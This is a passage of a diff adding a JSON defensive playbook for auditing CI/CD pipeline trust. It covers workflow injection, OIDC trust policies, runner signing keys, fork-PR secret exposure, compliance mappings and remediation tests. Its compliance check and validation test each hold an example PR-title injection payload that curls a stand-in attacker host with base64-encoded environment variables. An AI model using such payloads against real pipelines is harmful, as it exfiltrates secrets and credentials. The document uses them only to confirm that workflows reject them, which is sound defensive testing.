+ "value": "Workflow trigger includes `pull_request` from forks AND a step references `${{ secrets.* }}` other than the default `GITHUB_TOKEN`.",
477
+ "description": "Org or repo secrets in scope of a fork-PR workflow = direct exfiltration vector. By default GitHub gates this, but workflow-level overrides or environment misconfiguration re-opens the path.",
478
+ "confidence": "deterministic",
479
+ "deterministic": true,
480
+ "attack_ref": "T1552.004",
481
+ "false_positive_checks_required": [
482
+ "Confirm the workflow does NOT have a `permissions:` block restricting GITHUB_TOKEN scopes AND does NOT have an `environment:` gate with a manual approval. Either narrows the blast radius; both narrows it substantially.",
483
+ "Confirm the secret is genuinely sensitive. A SENTRY_DSN that is already public-by-design is a finding-of-hygiene, not a finding-of-leakage."
484
+ ]
485
+ }
486
+ ],
487
+ "false_positive_profile": [
488
+ {
489
+ "indicator_id": "workflow-injection-sink",
490
+ "benign_pattern": "Expression is wrapped in single-quoted env-pin: `env: PR_TITLE: ${{ github.event.pull_request.title }}` then `run: echo \"$PR_TITLE\"`.",
491
+ "distinguishing_test": "The canonical safe pattern interpolates the expression into an env var THEN references the env var inside the shell. If the expression is the env-var rvalue (not directly interpolated into shell), the injection sink is closed. Verify by reading the immediate context of the expression — is it on the right of an `env:` assignment, or inside the run/script body?"
492
+ },
493
+ {
494
+ "indicator_id": "wildcarded-oidc-sub-claim",
495
+ "benign_pattern": "Org-wide trust intentional for an org-owned ephemeral-environment role with limited cloud permissions.",
496
+ "distinguishing_test": "Cross-check the cloud-role's actual policy. A wildcarded sub on a role with cloudwatch:PutMetricData is much lower-risk than the same wildcard on a role that has any write-to-prod permission. Score by the (sub-wildcard × role-permission) product, not by the wildcard alone."
497
+ }
498
+ ],
499
+ "minimum_signal": {
500
+ "detected": "At least one deterministic indicator fires AND artefact inventory was successfully collected. workflow-injection-sink OR pull-request-target-with-pr-checkout OR wildcarded-oidc-sub-claim OR runner-scoped-signing-key OR secret-exposed-to-fork-pr — any single fire counts.",
501
+ "inconclusive": "workflow-yaml-inventory complete but every potential indicator's false_positive_checks_required step was blocked (cloud API unreachable, CI admin API unreachable). Cannot deny without resolving inventory gaps.",
502
+ "not_detected": "All inventory complete, no deterministic indicator fires, action pins are SHA-pinned with maintenance-bot coverage, OIDC trust policies pin per-repo + per-branch, self-hosted runners are ephemeral, fork-PR workflows do not have access to non-default secrets, and no runner-scoped signing keys are in use."
503
+ }
504
+ },
505
+ "analyze": {
506
+ "rwep_inputs": [
507
+ {
508
+ "signal_id": "workflow-injection-sink",
509
+ "rwep_factor": "active_exploitation",
510
+ "weight": 25,
511
+ "notes": "Workflow injection is routinely exploited in disclosed CI compromises and bug-bounty reports."
512
+ },
513
+ {
514
+ "signal_id": "workflow-injection-sink",
515
+ "rwep_factor": "public_poc",
516
+ "weight": 15,
517
+ "notes": "Well-documented public PoCs across security-research blogs."
518
+ },
519
+ {
520
+ "signal_id": "pull-request-target-with-pr-checkout",
521
+ "rwep_factor": "active_exploitation",
522
+ "weight": 25,
523
+ "notes": "Self-hosted runner fork-PR escape is operational in observed intrusions."
524
+ },
525
+ {
526
+ "signal_id": "wildcarded-oidc-sub-claim",
527
+ "rwep_factor": "public_poc",
528
+ "weight": 15,
529
+ "notes": "Trust-policy weakness exploitation is well-documented in cloud-security research."
530
+ },
531
+ {
532
+ "signal_id": "actions-floating-tag-pin",
533
+ "rwep_factor": "active_exploitation",
534
+ "weight": 25,
535
+ "notes": "tj-actions/changed-files class compromise in March 2025 — tag-repointing as the active vector."
536
+ },
537
+ {
538
+ "signal_id": "runner-scoped-signing-key",
539
+ "rwep_factor": "blast_radius",
540
+ "weight": 5,
541
+ "notes": "Runner-scoped signing increases blast radius — compromise forges trusted releases."
542
+ },
543
+ {
544
+ "signal_id": "secret-exposed-to-fork-pr",
545
+ "rwep_factor": "ai_weaponization",
546
+ "weight": 10,
547
+ "notes": "AI-assisted reconnaissance of public workflow YAML for fork-PR-exposed-secret patterns is operational."
548
+ },
549
+ {
550
+ "signal_id": "self-hosted-runner-non-ephemeral",
551
+ "rwep_factor": "blast_radius",
552
+ "weight": 5,
553
+ "notes": "Non-ephemeral runners amplify any other indicator's blast radius."
554
+ }
555
+ ],
556
+ "blast_radius_model": {
557
+ "scope_question": "If a CI/CD pipeline compromise indicator is exploited, what scope of downstream compromise does the runner / OIDC trust / signing-key deliver?",
558
+ "scoring_rubric": [
559
+ {
560
+ "condition": "Workflow runs only on ephemeral GitHub-hosted runners with read-only GITHUB_TOKEN and no `secrets.*` references.",
561
+ "blast_radius_score": 1,
562
+ "description": "Limited to the workflow's own output. Cleanup = revert the workflow change, audit-log review."
563
+ },
564
+ {
565
+ "condition": "Workflow has access to repo-scoped secrets but no cloud OIDC or signing-key access.",
566
+ "blast_radius_score": 2,
567
+ "description": "Repo-secret exfiltration + lateral-movement via leaked tokens."
568
+ },
569
+ {
570
+ "condition": "Workflow has access to cloud OIDC role with read+modify permission on a non-prod resource.",
571
+ "blast_radius_score": 3,
572
+ "description": "Cloud-resource compromise scoped to one environment."
573
+ },
574
+ {
575
+ "condition": "Workflow has access to artefact-publish role (npm publish, container registry push, terraform apply on prod IaC).",
576
+ "blast_radius_score": 4,
577
+ "description": "Supply-chain compromise — published artefact poisons every downstream consumer."
578
+ },
579
+ {
580
+ "condition": "Workflow has access to a release-signing key OR an OIDC role with org-admin / cloud-org-management permission.",
581
+ "blast_radius_score": 5,
582
+ "description": "Identity / signing-root compromise. Forges signatures or pivots org-wide."
583
+ }
584
+ ]
585
+ },
586
+ "compliance_theater_check": {
587
+ "claim": "Pipeline supply-chain is managed under SR-3 / SA-15 / A.8.30 / SOC 2 CC8.1 — every release is signed, every dependency reviewed, every change tracked.",
588
+ "audit_evidence": "Signed release artefacts, dependency-review reports, change-tracking tickets, SBOM attestations.",
589
+ "reality_test": "For a sample workflow: (a) submit a fork PR with a deliberately-crafted title containing a shell metacharacter sequence (e.g. `;curl attacker.example/$(env | base64)`) and confirm the workflow does NOT execute it; (b) inspect the cloud trust policy for any `sub` claim wider than `repo:<org>/<repo>:ref:refs/heads/main` for the production role; (c) confirm release signing happens on a developer-side key the runner only USES the signature of, not on a runner-loaded private key. Theater verdict if any of (a)-(c) fails: paper compliance is satisfied while the pipeline is exploitable.",
590
+ "theater_verdict_if_gap": "Org demonstrates SLSA-style attestations, signed releases, change-tracking — but the workflows accept fork-PR injection, OIDC trust is org-wide, or the signing root is the runner. Either (a) add workflow-injection + OIDC-policy + signing-root conformance tests to the SR-3 / SA-15 evidence package, (b) migrate to ephemeral runners + per-repo OIDC subs + developer-custody signing keys, OR (c) generate a defensible exception via policy-exception-gen."
591
+ },
592
+ "framework_gap_mapping": [
593
+ {
594
+ "finding_id": "cicd-pipeline-trust-failure",
595
+ "framework": "nist-800-53",
596
+ "claimed_control": "SR-3 — Supply Chain Controls and Processes",
597
+ "actual_gap": "Treats operator's own build platform as out-of-scope. Self-hosted runner compromise satisfies SR-3 trivially.",
598
+ "required_control": "Extend SR-3 to operator-owned build platform: runner-fleet inventory, ephemerality requirement, workflow-injection sink scan, OIDC sub-pinning."
599
+ },
600
+ {
601
+ "finding_id": "cicd-pipeline-trust-failure",
602
+ "framework": "nist-800-53",
603
+ "claimed_control": "SA-15 — Development Process, Standards, and Tools",
604
+ "actual_gap": "Covers methodology but not runner trust posture or OIDC sub discipline.",
605
+ "required_control": "Add explicit requirements: (a) ephemeral runners for fork-PR workflows, (b) per-repo + per-branch + per-environment OIDC sub pinning, (c) SHA-pinned Actions with Dependabot-tracked SHA updates."
606
+ },
607
+ {
608
+ "finding_id": "cicd-pipeline-trust-failure",
609
+ "framework": "iso-27001-2022",
610
+ "claimed_control": "A.8.30 — Outsourced development",
611
+ "actual_gap": "Does not bind to operator's own build pipeline.",
612
+ "required_control": "Add an operator-owned-build-platform variant covering runner-fleet trust + workflow-injection prevention + signing-key custody discipline."
613
+ },
614
+ {
615
+ "finding_id": "cicd-pipeline-trust-failure",
616
+ "framework": "iso-27001-2022",
617
+ "claimed_control": "A.8.31 — Separation of development, test, and operational environments",
618
+ "actual_gap": "Does not extend to runner-fleet separation. Shared runner pool processing stage + prod satisfies A.8.31.",
619
+ "required_control": "Require per-environment runner pools with cross-pool secret isolation. The runner is itself an environment."
620
+ },
621
+ {
622
+ "finding_id": "cicd-pipeline-trust-failure",
623
+ "framework": "nis2",
624
+ "claimed_control": "Art.21(2)(j) — Policies and procedures for software development",
625
+ "actual_gap": "Process-only; does not specify runner-fleet inventory, workflow-injection sink analysis, or per-environment OIDC sub-pinning.",
626
+ "required_control": "Mandate documented runner-fleet inventory + quarterly workflow-injection scan + per-environment OIDC sub binding for any essential-entity software-development pipeline."
627
+ },
628
+ {
629
+ "finding_id": "cicd-pipeline-trust-failure",
630
+ "framework": "soc2",
631
+ "claimed_control": "CC8.1 — Change management",
632
+ "actual_gap": "Tracks code change but not the runner that performs the deploy. Compromised runner forges change record itself.",
633
+ "required_control": "Add runner-fleet conformance + signing-root conformance to the CC8.1 evidence package."
634
+ }
635
+ ],
636
+ "escalation_criteria": [
637
+ {
638
+ "condition": "rwep >= 90 AND blast_radius_score >= 4",
639
+ "action": "page_on_call"
640
+ },
641
+ {
642
+ "condition": "runner-scoped-signing-key == fired OR (workflow-injection-sink == fired AND blast_radius_score >= 4)",
643
+ "action": "trigger_playbook",
644
+ "target_playbook": "sbom"
645
+ },
646
+ {
647
+ "condition": "wildcarded-oidc-sub-claim == fired AND cloud_role_permission_includes_write_to_prod == true",
648
+ "action": "trigger_playbook",
649
+ "target_playbook": "cred-stores"
650
+ },
651
+ {
652
+ "condition": "self-hosted-runner-non-ephemeral == fired",
653
+ "action": "trigger_playbook",
654
+ "target_playbook": "hardening"
655
+ },
656
+ {
657
+ "condition": "compliance_theater_check.verdict == 'theater' AND jurisdiction_obligations contains 'EU'",
658
+ "action": "notify_legal"
659
+ }
660
+ ]
661
+ },
662
+ "validate": {
663
+ "remediation_paths": [
664
+ {
665
+ "id": "close-workflow-injection-sinks",
666
+ "description": "Patch every workflow-injection sink: refactor `${{ ... }}` references inside `run:` / `script:` bodies into env-pinned variables. Replace `pull_request_target` triggers with `pull_request` where possible; where `pull_request_target` is necessary, drop the PR-head checkout step or gate behind a trusted-author check.",
667
+ "preconditions": [
668
+ "workflow_files_are_operator_owned == true",
669
+ "deploy_window_within_72h == true"
670
+ ],
671
+ "priority": 1,
672
+ "compensating_controls": [
673
+ "env_pinning_lint_added_to_ci",
674
+ "fork_pr_workflow_blocked_until_remediated"
675
+ ],
676
+ "estimated_time_hours": 6
677
+ },
678
+ {
679
+ "id": "pin-actions-by-sha",
680
+ "description": "Repin every `uses:` reference to a 40-char SHA. Configure Dependabot or Renovate to track SHA updates with a maintenance cadence aligned to the upstream action's release pattern.",
681
+ "preconditions": [
682
+ "dependabot_or_renovate_configured == true",
683
+ "ci_throughput_can_absorb_pin_updates == true"
684
+ ],
685
+ "priority": 2,
686
+ "compensating_controls": [
687
+ "sha_pin_drift_alert_configured",
688
+ "maintenance_cadence_recorded_in_change_management"
689
+ ],
690
+ "estimated_time_hours": 4
691
+ },
692
+ {
693
+ "id": "tighten-oidc-trust-policies",
694
+ "description": "Narrow every wildcarded OIDC trust policy to the minimum (repo, branch, environment) scope each cloud role actually requires. For production roles: pin `sub` to `repo:<org>/<repo>:environment:production` AND require the corresponding GitHub Environment with a manual-approval gate.",
695
+ "preconditions": [
696
+ "operator_admin_on_cloud_iam == true",
697
+ "production_environments_can_be_introduced_to_ci_workflow == true"
698
+ ],
699
+ "priority": 3,
700
+ "compensating_controls": [
701
+ "oidc_trust_policy_recorded_in_iac",
702
+ "environment_approval_gate_active"
703
+ ],
704
+ "estimated_time_hours": 8
705
+ },
706
+ {
707
+ "id": "move-signing-trust-off-runners",
708
+ "description": "Migrate release-signing from runner-loaded private keys to developer-custody (signed commits the runner verifies) or keyless-via-OIDC (cosign keyless, sigstore-python with short-lived OIDC certs). Keep the runner-side key only as a registry-side proof, not the trust root.",
709
+ "preconditions": [
710
+ "developer_signing_workflow_can_be_introduced == true",
711
+ "downstream_consumers_can_verify_keyless_or_developer_signature == true"
712
+ ],
713
+ "priority": 3,
714
+ "compensating_controls": [
715
+ "signing_trust_documented_in_release_runbook",
716
+ "verification_step_added_to_runner_workflow"
717
+ ],
718
+ "estimated_time_hours": 12
719
+ },
720
+ {
721
+ "id": "make-self-hosted-runners-ephemeral",
722
+ "description": "Reconfigure self-hosted runner pool for `ephemeral: true` (GitHub) / `--once` (GitLab) / k8s pod-per-job. Pair with runner-image baseline so each job starts from a known-clean state.",
723
+ "preconditions": [
724
+ "runner_orchestration_supports_ephemerality == true",
725
+ "ci_throughput_can_absorb_per_job_startup_cost == true"
726
+ ],
727
+ "priority": 3,
728
+ "compensating_controls": [
729
+ "ephemeral_runner_orchestration_recorded_in_iac",
730
+ "runner_image_provenance_tracked"
731
+ ],
732
+ "estimated_time_hours": 10
733
+ },
734
+ {
735
+ "id": "policy-exception",
736
+ "description": "Generate auditor-ready policy exception when faster paths are blocked.",
737
+ "preconditions": [
738
+ "remediation_paths[1..5] partially blocked",
739
+ "ciso_acceptance_obtainable == true"
740
+ ],
741
+ "priority": 6,
742
+ "compensating_controls": [
743
+ "enhanced_pipeline_log_review",
744
+ "weekly_runner_fleet_audit"
745
+ ],
746
+ "estimated_time_hours": 6
747
+ }
748
+ ],
749
+ "validation_tests": [
750
+ {
751
+ "id": "injection-payload-rejected",
752
+ "test": "Submit a fork PR with a title containing `';curl attacker-controlled-host/$(printenv | base64);'` (or equivalent shell-metacharacter payload). Confirm no outbound request is made by the runner.",
753
+ "expected_result": "Runner does not make the outbound request; workflow either rejects the PR or executes safely with the title treated as data.",
754
+ "test_type": "exploit_replay"
755
+ },
756
+ {
757
+ "id": "oidc-trust-policy-pinned",
758
+ "test": "Attempt to assume the production cloud role from a workflow running in a NON-production branch or repo. Confirm STS denies.",
759
+ "expected_result": "STS denies with `not authorized to perform sts:AssumeRoleWithWebIdentity` due to sub-claim mismatch.",
760
+ "test_type": "negative"
761
+ },
762
+ {
763
+ "id": "action-sha-pin-immutable",
764
+ "test": "Compare the `uses:` reference SHA in the current workflow against the SHA recorded at the last release. Confirm no drift without a recorded Dependabot / Renovate update PR.",
765
+ "expected_result": "All `uses:` SHAs match the recorded baseline OR have a tracked update PR.",
766
+ "test_type": "regression"
767
+ },
768
+ {
769
+ "id": "signing-key-not-on-runner",
770
+ "test": "Grep the workflow YAML for any `gpg --import` / `cosign import-key-pair` / `echo ${{ secrets.*_PRIVATE_KEY }}` against secrets named for a signing key. Confirm only keyless or developer-custody patterns remain.",
771
+ "expected_result": "No private-key import from runner secret; keyless or developer-signature-verification only.",
772
+ "test_type": "negative"
773
+ },
774
+ {
775
+ "id": "ephemeral-runner-confirmed",
776
+ "test": "For each self-hosted runner, inspect the registration metadata for `ephemeral=true` (GitHub `gh api /repos/{}/actions/runners`), `--once` flag presence (GitLab), or container-per-job orchestration (k8s).",
777
+ "expected_result": "All self-hosted runners that accept fork-PR workloads are ephemeral.",
778
+ "test_type": "functional"
779
+ }
780
+ ],
781
+ "residual_risk_statement": {
782
+ "risk": "CI/CD pipeline + runner + OIDC + signing-key trust boundary contains gaps that cannot be closed within the jurisdiction's notification window.",
783
+ "why_remains": "Either (a) a legacy workflow depends on `pull_request_target` semantics with PR-head checkout that cannot be refactored without breaking the contributor experience, (b) the cloud provider's trust-policy condition language does not support a needed pin granularity, (c) developer-custody signing requires a contributor workflow migration the team has not yet completed, OR (d) self-hosted runner ephemerality is blocked by a stateful build-cache dependency.",
784
+ "acceptance_level": "ciso",
785
+ "compensating_controls_in_place": [
786
+ "enhanced_pipeline_log_review",
787
+ "weekly_runner_fleet_audit",
788
+ "fork_pr_workflow_blocked_for_high_blast_radius_jobs"
789
+ ]
790
+ },
791
+ "evidence_requirements": [
792
+ {
793
+ "evidence_type": "config_diff",
794
+ "description": "Diff of workflow YAML showing env-pinning + SHA-pinning + signing-trust changes, plus the change-management approval reference.",
795
+ "retention_period": "audit_cycle",
796
+ "framework_satisfied": [
797
+ "nist-800-53-SR-3",
798
+ "nist-800-53-SA-15",
799
+ "iso-27001-2022-A.8.30",
800
+ "soc2-cc8.1"
801
+ ]
802
+ },
803
+ {
804
+ "evidence_type": "exploit_replay_negative",
805
+ "description": "Injection-payload-rejected test results showing the workflow no longer executes attacker-supplied PR title content.",
806
+ "retention_period": "1_year",
807
+ "framework_satisfied": [
808
+ "soc2-cc8.1",
809
+ "iso-27001-2022-A.8.30"
810
+ ]
811
+ },
812
+ {
813
+ "evidence_type": "scan_report",
814
+ "description": "Runner-fleet inventory + OIDC trust policy snapshot before + after remediation.",
815
+ "retention_period": "1_year",
816
+ "framework_satisfied": [
817
+ "nist-800-53-SR-3",
818
+ "nis2-art21-2j"
819
+ ]
820
+ },
821
+ {
822
+ "evidence_type": "attestation",
823
+ "description": "Signed exceptd attestation file with evidence_hash, pipeline inventory pre/post, RWEP at detection, RWEP post-remediation, residual risk acceptance.",
824
+ "retention_period": "7_years",
825
+ "framework_satisfied": [
826
+ "nist-800-53-CA-7",
827
+ "iso-27001-2022-A.5.36",
828
+ "nis2-art21-2j"
829
+ ]
830
+ }
831
+ ],
832
+ "regression_trigger": [
833
+ {
834
+ "condition": "new_workflow_file_added == true",
835
+ "interval": "on_event"
836
+ },
837
+ {
838
+ "condition": "runner_registration_changed == true",
839
+ "interval": "on_event"
840
+ },
841
+ {
842
+ "condition": "oidc_trust_policy_changed == true",
843
+ "interval": "on_event"
844
+ },
845
+ {
846
+ "condition": "weekly",
847
+ "interval": "7d"
848
+ }
849
+ ]
850
+ },
851
+ "close": {
852
+ "evidence_package": {
853
+ "bundle_format": "csaf-2.0",
854
+ "contents": [
855
+ "all_validation_tests_passed",
856
+ "workflow_yaml_diff",
857
+ "runner_fleet_inventory",
858
+ "oidc_trust_policy_inventory",
859
+ "signing_trust_diagram",
860
+ "residual_risk_statement",
861
+ "framework_gap_mapping",
862
+ "compliance_theater_verdict",
863
+ "attestation"
864
+ ],
865
+ "destination": "local_only",
866
+ "signed": true
867
+ },
868
+ "learning_loop": {
869
+ "enabled": true,
870
+ "lesson_template": {
871
+ "attack_vector": "CI/CD pipeline trust-boundary failure — $finding_class (e.g. workflow-injection-sink, wildcarded-oidc-sub-claim, runner-scoped-signing-key, actions-floating-tag-pin).",
872
+ "control_gap": "Supply-chain + change-management controls treated the operator's own build platform as out-of-scope OR specified process without binding to runner-fleet trust posture, workflow-injection prevention, or signing-root custody.",
873
+ "framework_gap": "NIST SR-3 + SA-15, ISO A.8.30 + A.8.31, NIS2 Art.21(2)(j), SOC 2 CC8.1 all underspecify the build-platform trust boundary. SLSA L3 is the closest match but adoption is voluntary.",
874
+ "new_control_requirement": "Extend each framework's relevant control to operator-owned build platform: ephemeral runners for fork-PR workflows, per-repo + per-branch + per-environment OIDC sub pinning, SHA-pinned Actions with maintenance-bot updates, developer-custody or keyless-via-OIDC signing trust."
875
+ },
876
+ "feeds_back_to_skills": [
877
+ "supply-chain-integrity",
878
+ "framework-gap-analysis",
879
+ "compliance-theater",
880
+ "zeroday-gap-learn"
881
+ ]
882
+ },
883
+ "notification_actions": [
884
+ {
885
+ "obligation_ref": "EU/NIS2 Art.23 24h",
886
+ "deadline": "computed_at_runtime",
887
+ "recipient": "internal_legal",
888
+ "evidence_attached": [
889
+ "runner_fleet_inventory",
890
+ "compromised_artefact_assessment",
891
+ "oidc_trust_policy_dump"
892
+ ],
893
+ "draft_notification": "Initial NIS2 Art.23 24-hour early-warning notification: CI/CD pipeline trust-boundary compromise. Indicators fired: ${fired_indicator_ids}. Affected runners: ${affected_runner_count}. Cloud roles in scope: ${affected_role_count}. Containment in place: ${containment_record}. Full incident assessment to follow within 72 hours per Art.23(4)."
894
+ },
895
+ {
896
+ "obligation_ref": "EU/DORA Art.19 4h",
897
+ "deadline": "computed_at_runtime",
898
+ "recipient": "internal_legal",
899
+ "evidence_attached": [
900
+ "ict_third_party_dependencies",
901
+ "containment_record"
902
+ ],
903
+ "draft_notification": "DORA Art.19 initial notification: Major ICT-related incident — CI/CD pipeline compromise affecting build platform for ICT services. Affected ICT third-party dependencies: ${ict_third_party_dependencies}. Full classification + impact assessment to follow within statutory windows."
904
+ },
905
+ {
906
+ "obligation_ref": "EU/EU CRA Art.14 24h",
907
+ "deadline": "computed_at_runtime",
908
+ "recipient": "internal_legal",
909
+ "evidence_attached": [
910
+ "actively_exploited_assessment",
911
+ "user_notification_draft"
912
+ ],
913
+ "draft_notification": "EU CRA Art.14 notification: actively-exploited vulnerability in our build pipeline. Pipeline outputs ${affected_artefact_inventory} potentially compromised. User-notification draft attached for review."
914
+ }
915
+ ],
916
+ "exception_generation": {
917
+ "trigger_condition": "remediation_blocked == true OR (provider_does_not_expose_required_primitive == true AND alternative_provider_migration_eta > jurisdiction_window)",
918
+ "exception_template": {
919
+ "scope": "CI/CD pipeline trust-boundary residual risk across ${affected_workflow_count} workflow(s) + ${affected_runner_count} runner(s).",
920
+ "duration": "until_provider_primitive_available_or_30d",
921
+ "compensating_controls": [
922
+ "enhanced_pipeline_log_review",
923
+ "weekly_runner_fleet_audit",
924
+ "fork_pr_workflow_blocked_for_high_blast_radius_jobs",
925
+ "release_artifact_post_publish_signature_verification"
926
+ ],
927
+ "risk_acceptance_owner": "ciso",
928
+ "auditor_ready_language": "Pursuant to ${framework_id} ${control_id}, the organisation documents a time-bound risk acceptance for CI/CD pipeline trust-boundary findings across ${affected_workflow_count} workflow(s) and ${affected_runner_count} runner(s). Provider-side primitive availability: ${provider_primitive_status}. Alternative-provider migration ETA: ${migration_eta}. Compensating controls in place: ${compensating_controls}. Residual RWEP post-compensation: ${rwep_post_compensation}. Risk accepted by ${ciso_name} on ${acceptance_date}. Time-bound until ${duration_expiry}. The exception will be re-evaluated on (a) provider primitive availability, (b) the listed expiry date, OR (c) a new exploitation indicator firing — whichever is first."
929
+ }
930
+ },
931
+ "regression_schedule": {
932
+ "next_run": "computed_at_runtime",
933
+ "trigger": "both",
934
+ "notify_on_skip": true
935
+ }
936
+ }
937
+ },
938
+ "directives": [
939
+ {
940
+ "id": "all-pipelines-and-runners",
941
+ "title": "Inventory + audit every CI workflow, runner, OIDC trust policy, and signing-key reference",
942
+ "applies_to": {
943
+ "always": true
944
+ }
945
+ },
946
+ {
947
+ "id": "tj-actions-class-recheck",
948
+ "title": "Targeted recheck for tj-actions-class third-party Action compromise exposure",
949
+ "applies_to": {
950
+ "attack_technique": "T1195.002"
951
+ },
952
+ "phase_overrides": {
953
+ "direct": {
954
+ "rwep_threshold": {
955
+ "escalate": 80,
956
+ "monitor": 55,
957
+ "close": 25
958
+ }
959
+ }
960
+ }
961
+ },
962
+ {
963
+ "id": "xz-class-build-injection",
964
+ "title": "Targeted scan for build-time-only injection patterns (xz-utils CVE-2024-3094 class)",
965
+ "applies_to": {
966
+ "cve": "CVE-2024-3094"
967
+ }
968
+ }
969
+ ]
970
+ }